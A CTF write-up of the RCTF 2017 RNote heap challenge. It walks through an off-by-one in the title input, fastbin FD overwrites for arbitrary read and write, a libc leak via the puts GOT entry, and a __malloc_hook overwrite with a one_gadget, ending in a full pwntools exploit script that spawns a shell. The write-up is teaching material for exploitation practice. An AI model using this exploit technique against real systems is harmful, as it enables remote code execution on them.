RCTF 2017 RNote Write-up

RNote (pwn)


RNote was a pwnable which was only solved by 25 teams, Plus, it used a very interesting attack vector, ie Fastbin->FD overwrite for a arbitary read/write.

You can download the challenge files here

PS: After reading other write-ups, I realized that I over complicated the process of leaking Libc, I know that I am dumb : (


So, we are provided with the binary, and the libc of the server. This probably means that we have overwrite something to get a shell, and for that, we need the offsets from servers Libc.

As the always first step, we run the binary through file utility

$ file RNote
RNote: ELF 64-bit LSB  executable, x86-64, version 1  (SYSV), dynamically linked  (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=dc8994af689f63aadd197e6efd0b4b33c9fb1db6, stripped

So it’s a 64 bit stripped executable

Then we run a checksec on it

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE  (0x400000)

So it has NX enabled, but no PIE and canary. Good for us

Then we do a test run of the binary, trying to get comfortable around what the binary does. We are provided with a simple menu of a typical heap exploitation problem

welcome to RNote service!
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice:

We can add a Note, delete a Note, or show a Note. The first thing I checked for was a UAF (use-after-free), by Deleting a Note and then making the binary show it. But no luck.

So to add a Note, we have to first give a size, then a title and then the content

welcome to RNote service!
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice: 1
Please input the note size: 20
Please input the title: ABC
Please input the content: BCD
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice

Maybe there could be a typical heap overflow there, So I enter more words in the content than the size, but still no luck. Looks like there is a read () call with the parameter size as given by us, Since it is only reading the amount of characters as given in size


Since we couldn’t find anything, now’s the time to reverse the binary. I pop it into Hopper and start reversing the functions. Since there are a lot of functions, it takes quite a bit of time to identify and reverse.

Here is the function which was vulnerable to an off-by-one, which is the base of our exploit

00000000004009c8         mov        rbp, rsp
00000000004009cb         sub        rsp, 0x20
00000000004009cf         mov        qword [ss:rbp+var_18], rdi
00000000004009d3         mov        dword [ss:rbp+var_1C], esi
00000000004009d6         mov        dword [ss:rbp+var_4], 0x0
00000000004009dd         jmp        0x400a41

00000000004009df         lea        rax, qword [ss:rbp+var_5]                   ; XREF=sub_4009c7+128
00000000004009e3         mov        edx, 0x1                                    ; argument "nbyte" for method j_read
00000000004009e8         mov        rsi, rax                                    ; argument "buf" for method j_read
00000000004009eb         mov        edi, 0x0                                    ; argument "fildes" for method j_read
00000000004009f0         call       j_read
00000000004009f5         test       rax, rax
00000000004009f8         jns        0x400a04

00000000004009fa         mov        edi, 0x1                                    ; argument "status" for method j_exit
00000000004009ff         call       j_exit

0000000000400a04         mov        eax, dword [ss:rbp+var_4]                   ; XREF=sub_4009c7+49
0000000000400a07         movsxd     rdx, eax
0000000000400a0a         mov        rax, qword [ss:rbp+var_18]
0000000000400a0e         add        rdx, rax
0000000000400a11         movzx      eax, byte [ss:rbp+var_5]
0000000000400a15         mov        byte [ds:rdx], al
0000000000400a17         mov        eax, dword [ss:rbp+var_4]
0000000000400a1a         movsxd     rdx, eax
0000000000400a1d         mov        rax, qword [ss:rbp+var_18]
0000000000400a21         add        rax, rdx
0000000000400a24         movzx      eax, byte [ds:rax]
0000000000400a27         cmp        al, 0xa
0000000000400a29         jne        0x400a3d

0000000000400a2b         mov        eax, dword [ss:rbp+var_4]
0000000000400a2e         movsxd     rdx, eax
0000000000400a31         mov        rax, qword [ss:rbp+var_18]
0000000000400a35         add        rax, rdx
0000000000400a38         mov        byte [ds:rax], 0x0
0000000000400a3b         jmp        0x400a49

0000000000400a3d         add        dword [ss:rbp+var_4], 0x1                   ; XREF=sub_4009c7+98

0000000000400a41         mov        eax, dword [ss:rbp+var_4]                   ; XREF=sub_4009c7+22
0000000000400a44         cmp        eax, dword [ss:rbp+var_1C]
0000000000400a47         jle        0x4009df                    <----- Vulnerabilty right here

0000000000400a49         mov        eax, dword [ss:rbp+var_4]                   ; XREF=sub_4009c7+116
0000000000400a4c         leave      
0000000000400a4d         ret        
                        ; endp

This function was only used to take the input for the Note title, and there is an off by one overflow, This functions takes a size and address parameters, and it reads input char by char upto the given size. But since the indexing starts from 0 and it uses a jle (Jump if less than or equal) instead of jl (Jump if less than), It is vulnerable to an off-by-one overflow.

Now let’s pop the binary into GDB and see what we are able to overwrite

So it comes out that we store an array of some struct (we call it Note) in the .bss segment, starting from 0x6020e0 and struct is somewhat like this

struct Note{
    int size;           <----The size of our Note
    int isSet;          <----A Boolean variable to check if a Note is set or is deleted
    char title[16];     <---- Array to hold the "Title" of the Note
    char *content;      <---- A pointer to heap for the Note's content, malloc'd with the size above
}

Here is the representation in memory

gdb-peda$ x/100gx 0x6020e0
0x6020e0:    0x0000001400000001    0x0000000000434241   <-- Size 0x14, isSet is 1, and 0x434241 is "ABC" in little endian
0x6020f0:    0x0000000000000000    0x0000000000603010   <-- The heap address of out note content
0x602100:    0x0000000000000000    0x0000000000000000

By looking at this, we are able to modify the LSB (Least significant bit) of our heap address (not a full overwrite unfortunately). So how can we use that for a arbitary read/write??


This is where the interesting thing starts, and I will try to explain it as clearly as I can.

Whenever we have heap chunks of size’s less than 0x80 (on a 64 bit machine), and we free them, they are added to a linked list of Fastbins,

It is an array of all linked lists of fastbins, sorted by their size. The lists are also only connected single sidedly, So there is only a FD (Forward) pointer, but no backwards pointer.

So when we free a chunk whose size is less than 0x80 , it is added to the linked list of Fastbins, and now if we will request a heap chunk of that size again, the fastbin on the front (most recent) of the list will be served, and the FD pointer of that chunk (if it exists), will now be the front of list.

I know it’s kinda confusing, but I will explain more deeply along the way. For a super awesome understanding of how heap and everything is managed, you can read this blog post

So if we are somehow able to overwrite FD pointer of a fastbin (not the front one) in the linked list, we would be able to make an heap object at an arbitary location (there’s a check/verification also, but we will come to that later), since that FD would be returned to us at sometime when it comes on the top of the fastbin’s linked list

So this is what we do.

  • We allocate 3 heap objects (Notes) of the same size
  • Then we free the last two in reverse order, So as to get a fastbin list

This is how our heap looks before that

gdb-peda$ x/100gx 0x01634000
0x1634000:    0x0000000000000000    0x0000000000000031        <-- 1st object
0x1634010:    0x000000000a626262    0x0000000000000000
0x1634020:    0x0000000000000000    0x0000000000000000
0x1634030:    0x0000000000000000    0x0000000000000031        <-- 2nd object
0x1634040:    0x000000000a626262    0x0000000000000000
0x1634050:    0x0000000000000000    0x0000000000000000
0x1634060:    0x0000000000000000    0x0000000000000031        <-- 3rd Object
0x1634070:    0x000000000a626262    0x0000000000000000
0x1634080:    0x0000000000000000    0x0000000000000000
0x1634090:    0x0000000000000000    0x0000000000020f71

And this is after the Freeing, we first free the 3rd object, and then 2nd. So the second one is at top of the fastbin list

gdb-peda$ x/100gx 0x00b35000
0xb35000:    0x0000000000000000    0x0000000000000031
0xb35010:    0x000000000a626262    0x0000000000000000
0xb35020:    0x0000000000000000    0x0000000000000000
0xb35030:    0x0000000000000000    0x0000000000000031     <--- Free'd object no 2, at the top of Fastbins list
0xb35040:    0x0000000000b35060    0x0000000000000000     <--- FD pointer to the next fastbin --> 0xb35060
0xb35050:    0x0000000000000000    0x0000000000000000
0xb35060:    0x0000000000000000    0x0000000000000031     <--- Free'd object no 3, second in the Fastbin List
0xb35070:    0x0000000000000000    0x0000000000000000     <--- No FD pointer here since it is the last in linked list
0xb35080:    0x0000000000000000    0x0000000000000000
0xb35090:    0x0000000000000000    0x0000000000020f71

And this is here is the Fastbin’s array

fastbinsY = {0x0, 0xb35030, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},  <-- The second linked list which points to our latest free'd object

And this is how it points to addresses

0xb35030 --> 0xb35060 --> 0x0

The fastbins, when we would allocate an object at 0xb35060 , would look at 0xb35060 +0x10 for a fastbin FD pointer, but since there is none, it would end the linked list.

BUT!!, Since we had one byte overwrite, we can overwrite the heap address of the 1st Note to point to 0xb35070, by overwriting the LSB with 0x70,and then we can free it again, Which would then add 0xb35060 to the front of the fastbins list, which would then look like this

fastbinsY = {0x0, 0xb35060, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},

here is the .bss after off-by-one overwrite

gdb-peda$ x/100gx 0x6020e0
0x6020e0:    0x0000002800000001    0x6161616161616161
0x6020f0:    0x6161616161616161    0x0000000001b6c070   <-- 0x70 is the new overwritten LSB, point to third object
0x602100:    0x0000002800000000    0x0000000000616161
0x602110:    0x0000000000000000    0x0000000001b6c040  
0x602120:    0x0000002800000000    0x0000000000616161
0x602130:    0x0000000000000000    0x0000000001b6c070  

And here is the tracing of its pointers

0xb35060 --> 0xb35030 --> 0xb35060 --> 0x0 //Technically it won't be 0x0, but just to show end here

Now you may start seeing that where i am getting at. If we now allocate an object of the appropriate fastbin size, it would be allocated at at 0xb35060 , and then 0xb35030 would end up at the front again. This is how the trace would look again

0xb35030 --> 0xb35060 --> Arbitary Location

but since we allocated an object at 0xb35060, we now control the FD pointer, which we can point it to any arbitary location, and get an object there.

But here’s another problem, there is a check when we allocate a new object from the fastbin’s list

if  (__builtin_expect  (fastbin_index  (chunksize  (victim)) != idx, 0))
{
    errstr = "malloc (): memory corruption  (fast)";
errout:
    malloc_printerr  (check_action, errstr, chunk2mem  (victim), av);
    return NULL;
}

It checks if the chunk we are requesting is the same size as the one on the top of FD list, and if it’s not, it errors out and program exits.

So what it essentially checks is

if (FD+8 != size requested){
    error out
}else allocate object

So we somehow need to find a usefull location to allocate an object where we can bypass the check and even overwrite stuff for our use.

Turns out, the array in .bss segment is the best place to allocate it, since the Note object has a size member, which we can set to any size. And then we can point to FD to size-8 so the check is cleared and we get an object there. And the Note struct also holds a pointer to our content, which we can then overwrite to point to any arbitary location.

Thus here’s the plan

  • We make a Note with the size 0x30 as out fastbin chunks are of same size (to use as the fastbin verification)
  • Then we overwrite the FD pointer of our to point at the location of above^ chunk’s size-8 member, as fastbin checks at +8
  • Now we allocate some more objects to reach the end of FD list, which now should point to overwritten FD.
  • Then we make another Note, and the content pointer of that Note will now point to our overwritten FD, which is in the .bss itself. Then we overwrite the content pointer of the next object to GOT (global offset table), so when we read from it, we actually read from GOT (thus leaking libc)

Here’s the visualization of the steps

PS: Sorry for the changed heap addresses everywhere, I forgot to turn off ASLR before doing the write-up : (

Here i added a new chunk of size 0x30

0x6020e0:    0x0000002800000001    0x0000000000636261
0x6020f0:    0x0000000000000000    0x0000000001b6c070
0x602100:    0x0000003000000001    0x0000000000636261   <-- size 30 chunk, at 0x602104
0x602110:    0x0000000000000000    0x0000000001b6c0a0
0x602120:    0x0000002800000000    0x0000000000616161
0x602130:    0x0000000000000000    0x0000000001b6c070

Since the 0x30 is at 0x602104 , We need to add the FD pointer at 0x6020fc

Here is the heap with with overwritten FD

gdb-peda$ x/100gx 0x01b6c000
0x1b6c000:    0x0000000000000000    0x0000000000000031
0x1b6c010:    0x000000000a626262    0x0000000000000000
0x1b6c020:    0x0000000000000000    0x0000000000000000
0x1b6c030:    0x0000000000000000    0x0000000000000031
0x1b6c040:    0x0000000001b6c060    0x0000000000000000
0x1b6c050:    0x0000000000000000    0x0000000000000000
0x1b6c060:    0x0000000000000000    0x0000000000000031
0x1b6c070:    0x00000000006020fc    0x000000000000000a   <--- Overwritten FD pointer, comes after the the above object
0x1b6c080:    0x0000000000000000    0x0000000000000000
0x1b6c090:    0x0000000000000000    0x0000000000000041
0x1b6c0a0:    0x000000000a646362    0x0000000000000000
0x1b6c0b0:    0x0000000000000000    0x0000000000000000
0x1b6c0c0:    0x0000000000000000    0x0000000000000000
0x1b6c0d0:    0x0000000000000000    0x0000000000020f31

\(x = y\)

Now I allocate two more objects, which then use up the fastbin list, and now on the top is our overwritten FD

fastbinsY = {0x0, 0x6020fc, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},

Now if we request an object of the same size as fastbin, it would be allocated at 0x6020fc. By looking at memory near 0x6020fc, I figured out there’s a difference of 12 bytes between between where we start the overwritten Note and the heap address of Note we are overwriting. So I add the Note with content of 12 bytes Junk and then the address I want to overwrite it with

So I overwrite the heap address of the Note’s content to that of GOT entry of PUTS (0x602028)

Here is how it looks after the overwrite

gdb-peda$ x/100gx 0x6020e0
0x6020e0:    0x0000002800000001    0x0000000000636261
0x6020f0:    0x0000000000000000    0x0000000001b6c070
0x602100:    0x0000003000000001    0x4242424200636261
0x602110:    0x4242424242424242    0x0000000000602028     <-- Overwritten with GOT + 12 bytes Junk
0x602120:    0x000000280000000a    0x0000000000636261
0x602130:    0x0000000000000000    0x0000000001b6c040
0x602140:    0x0000002800000001    0x0000000000636261
0x602150:    0x0000000000000000    0x0000000001b6c070
0x602160:    0x0000002800000001    0x0000000000414141
0x602170:    0x0000000000000000    0x000000000060210c    <-- The newest allocated object, which took the address from FD, and thus we are able to write at that location

And now if you choose the Show Note option, and choose Note 1 (0 based indexing), It will end up spitting the GOT address of Puts, from which we can calculate the libc base.

1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice: 3
Which Note do you want to show: 1
note title: abc
note content: `m\x0e\x7f\x00\x00p_\x7f\x00\x00\x0e\x7f\x00\x004\x0e\x7f\x00\x00\x86\x07@\x00\x00\x00\x00\x00\x10_\x7f\x00\x00
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice:

I wrote a python script which does all the parsing for me


Now since we have an arbitary read, how do we convert it into a write??

I was stuck on this forever, since I can’t allocate an object in the GOT (as we can’t satisfy the fastbin check above), what can we do?

Then I stumbled upon this article, which was also about the fastbin FD overwrite, and it had a neat little trick to pop up a shell.

What we essentially do is the same as above, but now in libc at the location of __malloc_hook, where we can satisfy the fastbin check too.

Then we overwrite the __malloc_hook. Since the __malloc_hook is called before every malloc() call, we thus now the control the RIP, and can use it to pop a shell

The trick was that we don’t need to be aligned to 8 bytes for the FD pointer, thus we find a location before __malloc_hook , which then +8 would give only the MSB (Most significant bit) of the address written there. And since the MSB there was 0x7f, we can use fastbins of size 0x70 to fullfill the fastbin check.

The location we choose is 0x7f0ee50f872d (0x3519cd bytes from Puts) which when checked by the fastbin would give the size of 0x7f as the size.

0x7f0ee50f872d:    0x0ee4dbab50000000    0x000000000000007f
0x7f0ee50f873d:    0x0000000000000000    0x0000000000000000
0x7f0ee50f874d:    0x0000000000000000    0x0000000000000000
0x7f0ee50f875d:    0x0000000000000000    0x0000000000000000

The __malloc_hook is at 0x7f0ee50f8740, which is 0x3 bytes from the location where we will start the Note’s content

0x7f0ee50f8730 <__realloc_hook>:    0x00007f0ee4dbab50    0x0000000000000000
0x7f0ee50f8740 <__malloc_hook>:    0x0000000000000000    0x0000000000000000

Then by using the same technique as we used for libc leak, we allocate an object here, and then overwrite __malloc_hook as we overwrote the heap address in struct to leak libc

We overwrite __malloc_hook with the address of one_gadhet, which I found using the awesome tool by david942j

By using the One Gadget RCE, we don’t have to worry about setting parameters/registers to get a shell, as jumping directly to that address set’s up everything.

Here is my final script (The offsets I used are for my local Libc, so change them accordingly). And of-course I used pwntools, which are awesome for these type of things

from pwn import *

#Some helper functions to aid in process
PUTSFROMBASE = 458080
HookFromPUTS = 3480013
GOTPUTS = 0x602028
MagicRce = 0xe9f2d #From base
def rc ():
    r.recvuntil (":")

def addNote (size,title, inp):
    r.sendline ("1")
    rc ()
    r.sendline (str (size))
    rc ()
    if len (title) >= 17:
        r.sendline (title+inp) #Sending together as it sends a newline too, which then end up in next read ()'s loop, which exits after newline
    else:
        r.sendline (title)
        r.sendline (inp)
    rc ()
    rc ()

def recTitle (num):
    r.sendline ("3")
    rc ()
    r.sendline (str (num))
    data = r.recvuntil ("*").split ()[2]
    rc ()
    return data

def recData (num):
    r.sendline ("3")
    rc ()
    r.sendline (str (num))
    data = r.recvuntil ("*").split ()[5]
    rc ()
    return data

def delNote (num):
    r.sendline ("2")
    rc ()
    r.sendline (str (num))
    rc ()

#r = remote ("rnote.2017.teamrois.cn", 7777)
r = process ("./RNote")
rc ()

addNote (40, "a"*16+chr (0x70), "bbb")
for m in range (2):
    addNote (40, "aaa", "bbb")

for m in reversed (range (1,3)):
    delNote (m)


delNote (0)

addNote (40, "abc", p64 (0x6020fc))#Aligned address for 0x30

addNote (0x30, "abc", "bcd")#New object with size 0x30 to align object for fastbin verification

for m in range (2):#Filling the FD list
    addNote (40, "abc", "AAA")

addNote (40, "AAA", "B"*12+p64 (GOTPUTS))
r.interactive ()
LIBCPUTS = int (recData (1)[:8][::-1].encode ('hex'), 16)

log.info ("Libc PUTS Leaked ==> 0x%x"%LIBCPUTS)

MallocHook = LIBCPUTS+HookFromPUTS
LibcBase = LIBCPUTS - PUTSFROMBASE

log.info ("Libc Base found ==> %x"%LibcBase)

log.info ("Overwriting __Malloc_hook here ==> %x"%MallocHook)
#-------------------------
addNote (40, "BBB", "BBB") #Just another object to keep everything is single byte overflow range
#---------------------------

addNote (0x60, "B"*16+chr (0xf0), "BBB")

for m in range (2):
    addNote (0x60, "BBB", "BBB")

for m in reversed (range (7,9)):
    delNote (m)

delNote (6)

addNote (0x60, "CCC", p64 (MallocHook))

for m in range (2):
    addNote (0x60, "BBB", "BBB")

addNote (0x60, "KKK", "A"*3+p64 (LibcBase + MagicRce))

log.info ("Add a new note and you will have a shell")

r.interactive ()